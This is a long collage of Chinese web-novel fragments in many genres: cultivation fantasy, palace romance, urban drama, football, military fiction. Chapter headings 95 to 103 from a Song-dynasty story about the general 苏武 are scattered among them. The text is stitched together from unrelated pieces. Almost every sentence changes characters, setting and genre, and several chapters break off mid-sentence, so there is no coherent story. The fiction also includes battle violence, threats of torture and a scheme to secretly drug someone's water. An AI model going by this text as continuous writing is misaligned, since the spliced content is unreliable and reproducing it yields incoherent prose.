秦烈一枪挑飞东侧拦路的几个魔人,身子往城边林莽纵身一跃,消失在密林里。 “呃……妖人想知道程絮山庄的宝贝藏在哪里,我哪里会知道嘛……程公子从来也没和我提起过。”龙云编了一个理由,希望能顺利过关。 磅礴的飓风裹挟着无穷的力量,开始要撕裂它能卷进去的一切东西,即使是强大的金丹期修士也不敢硬接这样的法术,四人分开了,四个身形向着四个不同的方向窜出。 钟声震荡的声音响起,轰鸣不绝。连云霸被反弹之力,弹飞了三步。体内五脏沸腾,差点喷出一口老血。 “表哥,我到了办事处那边一定好好干,不辜负你的期望。”秦波眨巴着眼睛看向叶平宇道。 刘国胜当然不敢奢望进入省长的核心圈,因为他还不够格,估计从东江回去之后,他就会不会再在叶平宇身边工作的,因为他的级别不够,但是现在能与叶平宇一起转这么一圈,可以说是他今生的荣幸了。 路人也不愚蠢,此刻一看这情况,一想到县试将近,便知道有人是陷害陈孤鸿。如果陈孤鸿是流氓,为什么不早不晚,这个时候暴露呢? 自己这段时间都忙着处理佩城的事情,很久没有打听外界的消息了。 在感情这条路上,她曾经迷失过,失望过,但好在最终还是走向了预定的结局。 只见赵极左近光气浮动,御气行空,携着陨星坠地的磅礴气势朝他直直撞来。 我将她迎了进来,待她落座后,便把和冯庆之间的谈话,一一说出。 芙柔脸色更不好了,她觉得兰宁使唤玄珩是故意做给她看的,难不成兰宁知道自己曾经暗示过玄珩? 第95章 苏武,真乃我东平府之猛霸王! 大军在回,半路上就碰到了秦明,秦明正拢得二三百人要去支援苏武作战。 只看苏武已然大胜而归,便是一脸懊恼:“怎的我紧赶慢赶,只是往清风寨再去取了一些兵刃甲胄弓弩箭矢,就来晚了……” 苏武笑道:“无妨,便也是秦明兄弟头前一番苦战,让贼寇少了几分胆气,所以我才赢得快!” 这话听来,秦明自 侗辛这一晃确实非常有效,朱玉的招数就得随即改变,这就为侗辛争取了时间,朱玉的身形未停,变横扫为斜削,直袭侗辛肩头,侗辛却猛地一个侧转,让开剑锋,左手一伸,“呼”的一下朝朱玉持剑的右手拍去。 “臣妾不敢和皇上叫板,只是担心皇上的身体,如果皇上实在很想要臣妾,那臣妾……”初见转过来,在他耳边低低的说。 “所以,妹妹要听哥哥的!你不过来,我过去了!”秦臣楼说完就往她身边移。 可是老板露出了一副很为难的表情,那位美人看起来也很不好惹,再说了人家给的银子也不少,总不能现在把人给赶走吧。 “丝菱的事,就是个意外,跟时落一点关系都没有。”叶青茗现在有些激动,他十分信任叶时落,甚至有些依赖。 看着叶知许笑容的慕丞相有些恍惚,曾经她也对他这样效果,不带一丝讽刺,满是真心在其中。 这个时候却见燕京明显动作慢了下来,四大长老抓准时机合力震飞了他的长剑。慕容寂遥再不迟疑,拔剑纵跃上前偷袭,一剑刺穿了燕京后背。 凌肃蹙了蹙眉,又走到另外一扇窗户前,而原本守在窗户前的士兵,一见凌肃走过来就跟逃命一样直接逃开了。 孩子们不在,罗碧就和凤凌这些雷焰战士一桌,罗碧吃烤蟹钳子,凤凌就挑了一块营养能量等级高的烤美味鱼挑刺。 “哭什么哭,我们的靠山从来都不是你家老爷!”初见盯着面前的刺绣,生气的往旁边一扔。 暗红之王虽然只掌控了二十个世界,但是被祂所毁灭的世界已经不计其数,星辰为之熄灭,仙神为之沉睡,数千亿数万亿物质生命化作虚无。 何曼在即将失去意识的时候,被滚木的浩然声势所震醒,勉力起身向巨响传来之处望去,发现居然是那一大堆由自己麾下两万余将士一起砍伐的巨木,因为绳索被烧断,而陆续滚下山去了。 至于这人口中的可恶的贼,此刻正被冷青锋和廖聪押着,后面还跟了楚怀玉和不闻二人。至于不闻,因为参与了当街刺杀李无解的引蛇计划,早先被抓进了监牢,不过因为计划失败,李无解当即让楚怀玉带了出来。 而在这个过程中,出现很多不同的变化,比如粘上虚空生物的血液,或者被其他什么东西感染等等。 另一边李碧云也怒了,这特么哪来的一帮武林二流选手?居然敢对我徒弟如此呵斥,不想活了是吧? 就算是4门电磁炮一起打一个,人家也可以闪展腾挪,用各种方法闪避,然后再窜过来教你怎么做人。 但是为了辛苦拉扯自己长大成人的母亲,他又实在不愿看到母亲受辱而死,心中的那份无奈与纠结,可想而知。 他此次率领一万骑兵来颍川打仗,本来只是打算赢得荀彧的效忠就行。没想到一场大战打下来,损失不过数百骑而已,收获却如此惊人,不由得有些难以置信。 第96章 叆叇 只待报捷文书写就,快马加鞭只管往东京汴梁城去报。 回到书房里,知府相公程万里拿着苏武写来的书信,那是看了又看…… 他看的不单单是这封信里的捷报,他看的是自己的前程,憧憬的是未来…… 有那么一瞬间,程万里心中生出了一种不该有的念想,一个大宋朝士大夫不该有的念想。 只问,天下哪里 她身量与我差不多高,姿容甚美,虽然脸上已经有了些岁月的痕迹,但周身气质恬静,眉眼温柔秀美,笑眼盈盈。 此时皇帝紧紧抱着瑶光月,不停的擦着额头上的冷汗,还一个劲儿得像贵妃认错。 东洲这边自然无虞,西洲那边也有公孙前辈前去联络,剩下两洲就等救出师父,再细想想可有什么办法给他们提一个醒。 秦雪真连忙用手去扒,结果手也碰到了菜汁,痒到极致的感觉,瞬间传遍了全身。 不可能是这侧的上铺,不然中铺不可能不会发现如此大量的血液。 这边瑶光月在心底一阵嘶吼呐喊,那边皇帝却已经和这道士谈天说地起来。 眼下听到梁瑞天的声音,他脸上的笑意逐渐凝固,眼底闪过一抹冷厉之色。 仉苓芷进入修炼塔无数次,就在这个月她终于突破到了修炼塔第八层。 这里豁然开朗,视野瞬间变得开阔起来,周围的树木也更加的茂盛,高高地耸立着,像是一把把巨大的绿色伞盖,将那微染的初阳,全部遮蔽了过去,一时之间,竟然还有一丝的阴冷。 “她现在已经被废黜了身份,现在不过是一个在这冷宫中等死的宫人,救与不救又有什么要紧的?”耶律成风在一旁嘟哝了一句。最近发生了这么多事,他帮着耶律贤收拾烂摊子,本就累的很,早就想回去休息了。 一时间如一个圆圈一般的围拢子在那里,都似乎从系统中得知了情况,面面相觑,有很多都曾经在同一个任务中见过。 张然一边把钥匙插入门锁一边笑着:“‘漆黑之牙’?”张然早就看见了佣兵手臂上的标志是‘战刃’的人。 在张然对老刀示意后,老刀举在肩上的火箭筒发射了,随着最后一辆作战车的爆炸,军刀团宣布完美落幕。 还有就是她也知道这府里已经很久没有孩子了,现在她有了孩子,还不是什么都是她说了算? 他的唇齿间有股淡淡的冷香,和他身上味道相同。闻了,感觉到了。便会让人不由得沉醉其中。丹夏沉默着。任由男人口舌在她唇齿间肆虐。 “你是真的觉得外面是湖,还是猜的?”宁轻玥听了脸色一沉,眸色一暗,有点意味不明的看着乔语嫣问道。 他现在哭的心思都有了,烈焰竟然给弄来一头堪比传说境界的熔岩怪。金豪能越级天战,可最多也就是能战胜偷天九次的存在。以偷天对抗传说,那是少爷的专利。 丫的,说的好听,刚才废除颜傲天的时候怎么不说自己不干预呢? “这层为什么有这么多佣兵各自看守着房间?里面是什么?”张然突然问道。 谢太后劝了她好几次,让她不用事事亲力亲为,让她多休息休息,身边还有这么多伺候的宫人呢。 但仔细检查以后没有发现这个男孩存在什么特别地方,恐怕只有建筑师才能说明它们会这样做的真正原因。 “大郎已经答应了。”独孤李氏轻咳,“我想把七郎给你养,将来他要是成器,就让他娶阿柿,要是不成器,这些东西分一半给他,让他自生自灭就好。”她能做的都做了,子孙将来如何,反正她也死了,看不到了。 第97章 人中豪杰也! “青州事毕,贼势已无,贼人已空,近来几番入山,已然只寻得一二贼人,如此,青州贼人尽矣,大功告成,请归东平府!” 苏武在青州府衙朗朗出言。 在座,有知府相公,有判官推官,有几处知县相公,有兵马统制与兵马都监。 众人皆是一片喜气洋洋模样,一个个拱手互相道贺,自也与苏武来谢来贺。 明白是自己乌龙、想多了,尧和羿俱是尴尬一笑,表明不会再这样用火去烤毕诗夜。 那可是军队而不是普通的监牢,是大秦帝国最强大的武力机构,不说武者就是机甲都有一大堆,范虎除非长了翅膀,不然绝对不可能逃得掉。 在齐林愣神的时候,一道声音忽然在他耳边响起,把齐林吓了一跳。 为了展现自己的见识广,想想,没等毕诗夜回答,又补充了一句。 许如龙突然抬起头,眼中露出骇人的光芒,原本俊俏的脸色也变得邪恶起来,看向范良才的眼神满是讥笑。 说完,毕诗夜从包里虚着一掏,实际上是从木牌里拿了几张红色毛爷爷出来,递给工人师傅。 美莱公司的万科就告诉杨贺新,受到了威胁,这个威胁就来自于龙浩,带了很多人来,也打了他的工作人员,还扬言要是继续和杨贺新合作的话,那么下场也是非常惨的。 噢,当然了。这次也有地图,但姐姐,先前她的地图是具备GPS导航功能的。现在在森林里,在山上,她也没个指南针什么的。 “放心,我答应过你,给你复仇,拿回你的一切,自然不可能轻易离开的,你好好休息,想必今天的事情也把你吓的不轻,休息好了等恢复完全,咱们便继续进行计划。”侯亮说。 万余轻骑前方,有些7名散发暴虐气息的猛将,眼中都带着激动与仇恨。 “不如咱们来打上一场,看看谁的实力强。”许风大声喊道,同时伸手在唐智生的后被上迅速的写了一行字,意思是说,唐叔,我设法拖延时间,你争取将毒素逼出来。 冯秋红和两个月前相比,憔悴和消瘦了很多,身上的那股泼辣和蛮横已经消失殆尽。如今再看到秦婷,她只有温顺,只希望这样能让秦婷早让她出去。 “我不听!!为什么死的不是他!!”叶楠突然爆发出一声尖叫,少年尖细的嗓音冲过耳膜,直刺入林向晚的心头。 除了郭谵诚,还从未有别的和她年纪相仿的男人与她如此贴近,她甚至可以闻到他身上淡淡的古龙水与烟草味交织在一起的复杂气息,属于成熟男人的味道。 “七叔。”看到七号的时候,贺华锦还是有模有样地敬了个军姿。 整条毒怪背后长了一条粗大漆黑色的肉筋,而它的通体上下却是已经布满了漆黑色的鳞片,布满了湿答答粘液漆黑液体,脚下生了一对长满了肉璞的下肢。宛若癞蛤蟆一般模样。 秦婷手一顿,笑了笑道:“不要紧,他还有事。”她无法主动联系贺鎏阳,只能被动地等着贺鎏阳联系她。而从昨天回来到现在,贺鎏阳都杳无音讯。 “是吗?现在我先不杀你,我要让你亲眼看着,我是怎么粉碎敌人的进攻的。”凌靖宇拎着隐杀者返回了航母,随手将其丢在甲板上,于此同时,护卫舰和驱逐舰万火齐开,八艘军舰变成了一团团的巨大火球。 第98章 好军将啊! 赵明诚招呼宗泽入席,宗泽倒是并没有立马入席,而是左右去看了看。 然后与在场诸多官员一一见礼,便也是基本礼节。 最后,他走到苏武面前,一脸的精神矍铄,只问:“可是东平府苏都监?” “见过老知县!”苏武拱手一礼。 “嘿嘿……”宗泽先笑,凑近了两步,再说:“一进青州地界,到处都能听 “好,就给你三分钟,我倒要看看你如何让他死而复生!”中年医生冷笑道。 冲介长大的嘴巴,一脸的难以置信。虽然他同样有着把握接下这一招无影灭杀,但是他的方式绝对不是卡卡西这样简单粗暴。 “这句话应该我问你才对,你怎么会来湿骨林?”卡卡西假装疑惑地问道。 在大梵门,夏流获得佛缘,外加凝练出了尊佛法相,镇守南界第一关的紫色魔佛。 就在这时,远处传来一声惨叫,大家循声望去,便见到欧阳复倒在了地上。 “记住,我给你的这个药水,不能让任何人知道,也不能让叶凡知道,你就在喝的水里面加一些药水,让叶凡喝了就大功告成了。”安娜认真的嘱咐。 两人在交谈之中,不知不觉度过了十五分钟的休息时间,两队队员已从球员通道陆陆续续的走了出来。 已经到了十一点十七分了,周莹却还没出现,张述杰开始急了:她不会是忘记了吧。 热苏斯向裁判申述,身为在梁希然解围之前,球就已经出了底线了,这应该是一个角球。主裁判征询了底线裁判的意见后,确定这球没有出界,没有形成角球,而是一个离球门比较远的界外球。 “去吧莉莉,不用管我们。”林啸天知道夏流的心思,因为他自己也担心。 其实她以为青连会埋怨她的任性的,现在不但没有查到线索,还将自己弄伤了,但是他却只字不提。 “为何?”禄东赞眼里闪过一丝阴隼的目光,仅仅片刻,身边的那人后背就出了一层冷汗。 也有一些顶着盖世强者的禁忌进化者嘀咕,也是此刻察觉到了什么,感慨着呢喃道。 “走,破邪功少,是时候揭开谜底了。”海陆曼团长朝何夕点点头,大步流星地向教堂内走去。 这些建筑,都是月英的分身趁乱进行了搜救的,确认没有被压迫欺辱的各族生灵,里面只有魔神崽子的那种建筑。 经过了三天三夜的打坐,云浩吸收了不少的灵气,以及九曲金树的金光造化,还有几片金叶,这才让他丹田中的灵力有所恢复,恢复了体力。 正因为如此,他才会花大价钱,让噗噗个噗想办法找国内某神秘商人玩家购买到了“超大的-天使之赐福箱子”。 他想起来了,眼前的黄雷,还有橙雷,赤雷,似乎都是创造地狱的本源之力。而他们也是黄金战神独断万古时所使用的力量,他想起来自己觉醒一刻所听到的那句话了。 但为什么要被决定?叶琳有一天终于醒悟,她选择不被决定,她选择走自己的路。 也就是说,眼前的鬼公主很可能要凭着肉身的力量去面对这毁天灭地的力量了。 到第二天傍晚的时候,米团花蜜为主料的黑色岩蜂蜜已经装满了王明远带来的四个塑料桶。 南颂的声音断续,听在谢君宥耳中十分清晰。他只拧了眉心,倏然抱起她,向寝殿走。 第99章 走走走,睡觉去…… 不过她心底总有不好的预感。师傅告诫她不要切记不要回宫中。她现在贸然回去会不会有些不妥。但是一想及苏玉笙那时苍白着脸的模样。她咬了牙。现在沒时间顾虑这么多。 提起酒杯,一口干光。一阵呲牙裂嘴后,目光看向沈三千的脸,继续说道。 由于太乙五灵剑乃是郑重的本命法宝,而且此时的郑重神念未损,所以那太乙五灵剑在被黑环弹飞后马上回到郑重身边,不过由于没有强大的法力注入,也只能不停的盘旋在郑重周围,拿那个黑环也毫无办法。 他身旁两侧突然伸来两条成年人手臂,手掌交叠按在他白嫩手背上,在他猝不及防之下被稍微用力助推着向前按下,最终如愿以偿地实现了他内心那股冲动。 也多亏了这七宝琉璃伞,如果单凭玄水灵盾和魔灵甲,郑重自负是绝对没有办法通过的。 就感觉一阵天旋地转,仿佛跨越了恒古的时空一样。不知下坠了多久,就听了耳边传来“哐啷”的一声,把他们都惊醒了,回到现实。 大型防御系统根据防御阵型接连,形成了一个巨大的乌龟壳形状,可以进行内部攻击,防御外力打击。 在大理天龙寺中,烟雨假扮成阿水,和金行者大打出手。那时唐天娇被蒙在鼓里,后面仔细一想,这才发现问题,料到那人不是阿水。但却想不到是何人假扮。 那柄破损石剑刺入地下近二十丈深,泥土转瞬开裂蔓延,形成数十条蛛网裂缝,它眯眼凶残紧盯重伤猎物,眼神嗜血,旋即一剑拔出,满怀汹涌战意,一个箭步提剑冲杀逼近而去。 凤御伺候着姬如雪,这次,倒是没有故意夹姬如雪不喜欢的苦瓜。 到了瑞河口,史大壮把车直接开进了县缉毒大队,早有几个站在门口的警察迎了上来。 “真的会这样容易吗?”多弗朗明哥犹豫了一下,站在原地没有动作。鹰眼同样不打算上前。 “我能问一下为什么偏偏是我,为何紧咬着我不放?”钱御史也是个耿直的性子,兔子惹急了还咬人呢,更何况是脑子不会转弯,真惹急了什么话都敢说得钱御史了。 如此一来,卓越如今已是兵强马壮,接下来除了九里岗的项目之外,可以图谋别的区块了。 “就来!”霍焱珏把假伤疤、假胡子粘好后,就和牧子语出门了。 类似于这种聚会,带有一定危险和攻击性的东西都不应该会出现在台面上才对。 瞧着夏柒柒一手撑着下巴,一手捂嘴打着哈欠,百般无聊的模样,赫允祁双唇一启,道。 在堂姐的劝说下,段韵芳深呼吸了好几次,胸脯起伏的频率才变得比较正常了。 施老爷子一拍手,就想通了各中关节,他也不是那不知变通之人,最近的一个城离这里也还得有四五天的路程。 “开战了!”缓缓起身站起,奈落的面孔在火光中照的有些发烫。 夏昭儿比较敏锐,注意到万瞳话里的意思有些不对,立刻就生出一股不好的感觉。 死去魔修们体内的魔气,以及疯狂要逃离的神魂,全都被他吸了过来。 貂蝉曾说过,前些日子王允带她来过,想来以董卓好色的本性是不会忘记貂蝉的。 当赵翌走入大殿之时,便见帝后已是坐于上座,待行下礼,正当他转身朝席位而去时,正好对上杨皇后身侧李绥的目光,今夜如既往的华服盛装,明艳端重,此刻虽只与他掠过眼,却能让他看出那是在与他打招呼。 还不能百分百确定的事情,万一空欢喜一场,其实对感情还是有影响的。 外边一个又一个的游戏仓被收回幽暗的地下,诸星登志夫的心态也越发的焦急,怎么回事,为什么一点动静都没有。 这老娘们简直不可理喻,估计是更年期提前了,和深攥着手机不免恶意揣测。 不过它看到刘斯杵在那里不动,没有想太多,就继续挥舞着触手朝他抽打过去。 一会功夫,水煮开了,李善达坐在沙发上开始泡茶。一开始还笑嘻嘻的梁婉茹和林玲,看着李善达行云流水般的泡茶功夫缓缓舒展,她们慢慢地安静了下来,目不转睛地看着李善达泡茶。 否定了这个想法之后,林川忽然想起来当初在凶兽山脉被珈蓝追杀的时候。 习白点了点头,这话不是问的莫名其妙嘛!他都问的这么仔细了,难道只是听个传说故事的?刚刚对方所说的话,不会只是骗他的吧? “哟,这才见了第一眼就知道人家不错了。”越千玲在身后声音冰冷的说。 “为什么?你们之间有什么过节?”叶豪淡笑着看着叶莹,对这个同父异母的妹妹他既不喜欢也不讨厌,一般的事情他还真是愿意顺着叶莹,可是佟心媛,他是怎么也不想开除她的。 “你为什么急着要走?还说什么不回来了?你考虑过我的感受吗?”阿亮显得十分气愤。他不是不让洛千千出去玩,可是她说在外地定居是什么意思,是说他们之间完了吗?她不是同意跟他交往了吗?现在这样又算什么? 她从来没有见过这种的手套,光从外形上看,这手套的等级,就绝对在之前那玩家的手套之上!至于是什么等级的装备,她无从猜测,但心里却有个不想承认的想法,就是这手套是神兵级的装备。 第100章 今夜我来! 夜深,东平府里有一个不大的宅院在前不久刚刚换了主人。 月色极好,烛光暖黄,一盆温水,一个布巾。 女主人慢慢给床上的汉子擦洗着,口中呢喃有语:“郎君啊,也说……这世间之事难以言说……” 那床上的汉子,即便睡得死死,却还能皱着眉头,倒也不知是身上不舒服,还是梦里有什么…… 布巾擦 只是敌人却也不是傻子,等到他真的觉得反击无望时肯定会瞬间逃跑,所以夏尔需要一击制敌。 或许是祁睿泽的用词不对,他放在韩瑾雨孕肚上的大手立刻就感到胎儿再一次和以前一样踢着他,挺有力气。 黄尧心中摒气,他忽的感觉这个时候,他是绝对的希望恒彦林不是这个幕后黑手。 但是,余晖很清楚,刚刚自己出手偷袭,必定会引得恒彦林的情绪波动,那么他身上多多少少还是会逸散出一些气息的。 商俏俏流露出惊异之色,不由得开始仔细地问起林柯的年龄、名字,看似是些无用的家常话,其实是在看她的思维是否敏捷,口齿是否伶俐,甚至推测她的个性,真正懂得识人的人听她说话就可以判断她是个什么样的人。 听到苏武的话,恒彦林心头微微一动,他总觉得苏武这个眼神,这番话,有着别样的意思,莫不是之前有什么情况发生不成? 恒彦林看在眼里,也没有多说什么,直径就是飞到了地上,与对方一起开始采集起灵药来。 但她更喜欢打破常规,甚至有次很不顾形象的偷偷爬到树上去躲起来,就是希望想出人意料的从上面扑到夏尔后背上去给他一个惊喜。 刘东一拿到骰子,就开始摇了起来。他现在已经可以完美的控制自己的力道。再配合上自己透视的能力,直接把所有骰子摇到最大才放下。 他这会又突然想起来,自己的追踪能力似乎对于眼前这位也不大好使,最终不得不动用科技手段。 徐鑫比刘镒华反应慢了半拍,他不晓得生什么事,只是刘镒华接到电话就往大堂外狂奔,他也毫不犹豫的起身跟了出来。看到躺在大堂富丽堂皇旋转玻璃门外抽搐的人体嘴角涌出血沫,鲜血溅了一地。 上海的高层建筑中建于五十年代和六十年代的有四十幢,建于七十年代的有一百四十九幢,建于八十年代的有六百五十幢,改革开放之后,上海每年新建高层建筑都在四十幢以上。 松井式原本苍白枯瘦的身体,似乎被注入生命因子;肌肤变得红润潮湿,干瘪的肌肉也壮健了几分。 另外,我们不应忽视的是专利。这是西环电子公司总经理杰克当众宣布的。他们的专利由他们和中国公司共同拥有,西环电子公司在美国拥有专利的制造权和销售权。 雄壮的军队,踏着阵阵鼓号之声,沿着广济河两岸向东进发,如两条弯弯曲曲的长蛇大阵,一眼看不到头。旭日东升,令那黄绢质地的龙旗分外绚烂夺目,这象征着国家正在走向强盛。 出了城门之后,又是一条长长的山谷,这个山谷两面就如刀削般,就是猿猴也难以攀登,更何况人了。在这里,就算你有十万的雄兵,也难以攻克。就是要攻克,最好的办法就是就是从里面。 祝童选择青梅,是因为她已经明显没有了走红的机会,时间是残酷的,特别是在时尚界,过了二十岁基本上就算是老人,而青梅,据她自己说都已经二十五岁了。 第101章 适才……怕是粗鲁了些。 只待正店晚间那一阵子忙过,叮嘱几番冬欢守着。 有小厮挑着两个食盒与孟玉楼一并回家去,这些食盒里的菜色,是孟玉楼今天精心准备。 便是整整这一天里,孟玉楼心中只有个七上八下,时不时看看天色,只念时辰过得慢,怎么还不黑去。 又想怎么就天黑了,晚间都监当真来了,可如何是好? 回到家中 华轩众人闻言后,靖渊侯和华轩依次飞身而下。而上面只剩胡姬和宫司琪两人。 大多初到美国的留学生都对养生炖汤有一股子说不清道不明的热情,她早过了那个劲了。但挡不住她每年都有室友,或是回国,或是去外州工作,留给她满满一抽屉的这类东西呀。 彼时,白言语正舒舒服服的泡在温泉池子里面,一边练功,一边享受着。手机嗡嗡的响了两声后,他不耐烦的拿过来看了一眼,发现是派去罗念那边的喽啰发过来的。 房间里,周晓峰躺在床上,望着天花板,眼神却无比空洞,仿佛已经失去了所有的精气神。 这不,凯莎、鹤熙、凉冰这三位万年都没有在一起会面过,这一见面就是进行了“友好”的交谈,本来夜凡是想当一个和事佬的,但是看着凯莎那一副“你要敢插手,以后你就睡地板”的眼神,最终夜凡还是乖乖的退场了。 他睁开眼睛,似乎是有些受不了太平间的刺眼的灯光,眼睛睁开不到一秒就又闭上了。 不过夜凡清楚的知道,自从成为钢铁侠之后,身上背负的担子有多重,可以说从托尼第一次组装钢铁战甲并试飞后,就再也没开怀笑过。 布玛原本就有些迷醉,又突然被萧天这么近距离盯着,还放电,那里能抵抗的住,脑子里晕乎乎的,半推半就的跟着萧天走了上楼。 “迟早……”灵曦微笑,身形一转,便化作一道火光,随着寒月的方向疾驰而去。 朱佑樳教练看见了张云泽,看到他那有些落寞的背影,他跟了上去,跟着张云泽一起走向了更衣室。 “那个寐照绫的仆人出来了,他和那个黑衣青年碰上了!”百妖路中三人的一举一动都是被万人盯着,此刻对于两人的相遇,就连高台上的数位统领也是目不转睛关注着。 殊不知,人算不如天算,这金羿呆得可爱,硬是一番大道理,逼得自己只有红着玉液再次用白鼠为他现场证实一番,弄得自己急事窘迫。 跑着跑者,看着怀中的人儿,美若天仙,柔软无骨。孟缺心摇神荡,不由有些心猿意马。 “你……”龙冬源被段可这话噎得够呛,气得半天没有说出一句话来。 花如海一挥手,张三丰等几个华夏族的修仙者就飞到千米之外去了,好像一只大手把他们扔出去的。 接引仙子、玉仙儿知他神通胜过自己二人不知多少倍,虽未觉察到他高明的禁制是如何布置,但听他如此一说,也不疑他,放下心来,但面色之上的沉重益发的多了。 “司机,我的保镖还没有上车。”艾伯特有些生气的对着前面司机提醒道,天知道是不是自己这周周日没有去教堂的原因,怎么诸事不顺呢。 然后,马上就赶往飞机场,飞机票什么的金向亚早已让她的弟子们买好了。 甚至现在连对机器人军团的控制都变得很尴尬,只能够用人类的方式发布命令,却不能像以前一样,用上帝视角来控制它们。 第102章 嘿嘿,我就是个辽人! 即便是做这样令他自己不齿的事情,只要她安好,他不会有半分迟疑。 标本瓶中的那种浅黄色的液体,自然是俗称“福尔马林”的甲醛的百分之四十的溶液了,生物标本的固定和防腐一直以来都是使用它来完成的。 山虎上校不知道如何才好,而且这时,他下阴部分受到了攻击之处,也开始传来了剧痛。两股剧痛会合,更使得山虎上校蹲下了身子,一句话也讲不出。 “算了,大家多少还有些情分在,我想你老乔也得过他们的好处,何况咱们也是两次明暗货都失败才重视这件事情的,就货物本身来讲重要归重要,恐怕还入不了某些人的眼,”老蘑菇劝解道。 越是古怪,叶锋寒越不敢乱动,反正三个商队加一块,也就一百多人,城里上一千的枪手,怎么也能收拾这三队人马了。 “什么意思???很想知道荷兰队的真正实力?难道………他想击败荷兰队?”脑海忽然蹦出了这样一个疯狂的想法,叶枫不可自信的看着张翔,击败荷兰队?是、是有够疯狂的,不过,这可能吗? “少废话,我问什么你说什么!敢骗我就把你的手指头一根根拔下来喂狗!”王平干脆再吓吓他,结果野猫问了句话,让俘虏努力忍耐半天才避免了成为太监的命运。 “张助理!您有什么事情尽管交代,我一定立刻为您落实。”郭惠芳在电话那头拍胸脯保证道。 迪纳当即就想返回向伟大的多罗大人认罪但多罗大人给予的任务还没有完成。我不能辜负多罗大人的希望。 林雨暄听到陈影的声音,连忙下意识的推来吴凯,她迅速从床上坐了起来,脸上红得仿佛渗出血来,直羞得她恨不得有个地缝钻进去,不知所措地低头摆弄着衣角。 撞击的巨响声,肉眼可见的气浪,如涟漪一般从二人的拳头起,向四周扩散开来。 原本议论纷纷的散修,不由纷纷闭口不语,朝他们投去羡慕敬畏的眼神。 驳天尊亲传弟子的面子,不遵天尊令谕,那就是与天尊为敌,花无道不傻,应该不会这么做。 四灵蛮族还真藏着一座生死门。”九婴他落在了旁边的巨山上,利爪扣碎山体,大量的碎石滑落。五千米的身躯,亿万吨的重量,足以压垮一切。 顾天擎也没想到,柳莺莺竟然在门口,那他刚才和唐宋的对话,柳莺莺怕是全听到了。 纵然糖宝心里不服气,可是不得不承认,今天的他,还真的是很人模狗样的,看着还挺养眼的。 大黄面色有些难看,袁牧和蛮大如此之强,竟然被一名白须老人,以一敌二牵制住了。 “就因为你的不甘心,就要让天云宗跳进火坑?”米长老面无表情,可是,熟悉他的人都知道,现在的他,已经怒到了极致。 石鸾、雷钧、姬摇花、魔族的元老、南域神朝的强者纷纷冲出苍穹,数万人汇聚在沈浩身后,同仇敌忾。 “西亚先生!”安乐心急之下拉住了王曦,王曦清冷的目光落在她还紧握的手上,安乐才不好意思的松开。 而未央殿自古以来里面居住的都是长公主,也就是历朝历代皇上的第一个公主,相当于是皇上第一个最宠爱的公主居住的殿宇。 飞云寨众人陆陆续续出了东门,聚齐后继续向东走,走进茂密的玉米地。一直跟在后面的两个侦缉队员返身回城报告。 眼看就要回到竹海山庄了,两人突然被象山老仙麾下亲传大弟子象山海挡住了去路。 “我觉得,你应该把事情的原委告诉我!”林中林声音中带着一丝威严。 “这…咋回事?!”孤独傲放下手中的酒杯,有些诧异…在这种重要的时候殴打药家新任家主?? “哼哼,所以你们就来抢你们孙子的东西,家族的那些人良心都被狗吃了!对了,我忘了他们良心都没的!”林传誌也狠狠的说道。 知道她昨天又加班,所以这个时间一定在补觉,董成轻手轻脚的打开门,就看到她倒在沙发上睡着了。 街道上灯火摇曳,一朵朵烟花在空中绽放,映入黑色的眼眸,耳边尽是人们节日的欢笑,无端的心底泛起丝丝落寞。 “车麦?我去,以前没现,这辆车居然还有扩音喇叭功能……”付炎边把叶安琪旁边的车窗摁下,边找到了车内扩音麦,拿起,地给了她。 为了不被人看出端倪,也为了家里面的那么多人还等着她做早饭,所以何清还是起得很早,谁知道今天的赵择起的比她还要早。 说完一剑劈出一道金色龙影剑气夹杂着雷电嘶吼着向各大势力掌门长老劈去。 “好了,事情也解决好了,那妖兽尸体浑身上下都是炼制东西的好材料,我拿着也没什么用处,就送与你们了。”慕飞说道。 余发财抬头,一看对方身穿绿袍,顿时心生反感,那绿袍老太婆抢了他的莲蓬,只给他两顿饭吃,这人肯定也不是什么好人。 太元教弟子试图召回直接的飞剑但是失败了,此人的一身寒冰灵力实在是太强了,隔着老远透过护体的灵力他都能感受到一股寒意,而周围的一切包括地面上开始凝结一层层白霜,并且范围还在扩大。 “咔嚓嚓、咔嚓嚓——瓜妹儿,你咋回来喽?”正优哉游哉吃着零食看直播的冯宝宝见诸葛大力回来,忍不住好奇问道。 孟浪、诸葛大力、冯宝宝、胡一菲、王也、诸葛萌、诸葛观、诸葛升、四娃、吕子乔、张楚岚、陆琳、陈朵以及不重要等十四人全员到齐,准备出发。 “吃了饭就要走吗?”终于说到这个话了,一时之间还有点沉重。 第103章 你小子,当真不懂? 苏武看着一脸笑意的李良嗣,终究还是没有暴起拔刀。 辽人,倒也明白过来了,这般口音的辽人,当也不是契丹人,而是燕云十六州的辽国汉人。 契丹人,出自东北,本是昔日鼎盛大唐座下驱策之犬马,为大唐卖过命,也为大唐立过功,也受过大唐的封赏,如此势力也慢慢壮大。 后来,大唐没了,军阀混战,五代 但是巨龙出爪基本都是声势浩大,艾布拉姆斯没有很大把握能悄无声息地解决掉这只同阶的翼魔。 梦比优斯正要起身反击时,哥斯拉王的前脚死死的压住他的双手,让他动弹不得。而且还用它那两根香肠般的嘴去攻击梦比优斯的脸,这真的不是在亲? 姿势依旧标准,动作依旧很流畅,这一道暗合瞎几把砍的真意,一刀劈出,竟是让将夜心中不由正视起来。 三人摇摇头,齐声道:“不介意。”卡密拉曾经和叶落尘都住过山洞,住人类的地方也没什么。至于达拉姆和希特拉,他们两个还没有遇到叶落尘之前,能住山洞都算幸运了。 哼着歌曲来到了一乐拉面店,吃过了午饭,按时来到了卡卡西训练的地方。训练过后,云玄提出了要和鸣人三人一起打猎的请求,支付一万两,作为一个c级任务让卡卡西班执行。 也就现在龙族口碑好了,要是搁以前,非得传成“恶龙屠灭了几个王国,人都吃光了”不可。 枕春看她脸上那样重的伤,想必好了也会容色可怖,心里万分难过,自然应了。 轰然间,苍夜也延展出了自己的模拟神国,不过,准确来说,这该是属于血斧公爵的神国模拟。 这几天,有一队灵墟洞天的弟子出门归来,走台阶之上,脸色有些发白。 这是一种无形的伟力,如星河垂落,无孔不入,无物不破,碾碎一切阻挡,磨灭任何有形之质。 可慕璟寒为了那么现实的理由,一直让她痴痴地等着,等那个毫无希望的结果。 李恒的目光垂下,微微皱着眉,将杯中的果汁一饮而尽,目光深处的痛苦之中夹杂着几丝兴奋。 安沁雅原本已经想好了一套说词了,可是话到嘴边又咽了回去,最后还是选了个迂回的法子。 再也顾不上其他,心里只有一个念头就是逃离男人的怀抱和视线。 